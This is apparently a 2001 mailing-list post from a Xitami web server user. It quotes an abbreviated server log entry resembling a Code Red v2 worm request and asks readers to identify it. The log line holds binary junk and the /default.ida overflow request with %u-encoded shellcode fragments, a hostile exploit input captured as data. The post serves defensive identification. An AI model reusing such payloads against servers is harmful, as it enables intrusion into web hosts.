[Xitami] Curiouser log entry, like code red

[tsw]

I recently got a single HTTP request, resembling ver. 2 of 'Code Red' but containing a *lot* of stuff at the beginning, much more than code red's N's and X's. Has anyone seen this before, or know what it is? I can email or post the entire request string if someone would like it. Below is an abbreviated copy; the spaces at the beginning are part of the logfile entry. 

                                                                                                �4�=�S���<Ӭ	JE�U��o֟S�W� �^�
�G(-!er�������tMW�����(���~ٞzD&���]*[��eιy���&��;���"/}�/�
����c�C�g]M!%ۉeȮ*3�����(��
�VXFrM�BC���|*D�(8l�}�hJ����x�?� -$%�
�(��*�5d��
����-����(���6�^+�...  (a whole lot of the same stuff)
...m��
hR�EK�dp�>�5в�2���(���F�^S�,p&r/č2����}�W��(b�J-?����:� 
r��H�ՙ211.198.129.71 - - [05/Aug/2001:21:59:57 +0000] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a%20 HTTP/1.0" 404 0 "" ""

Thanks,
S. Wallace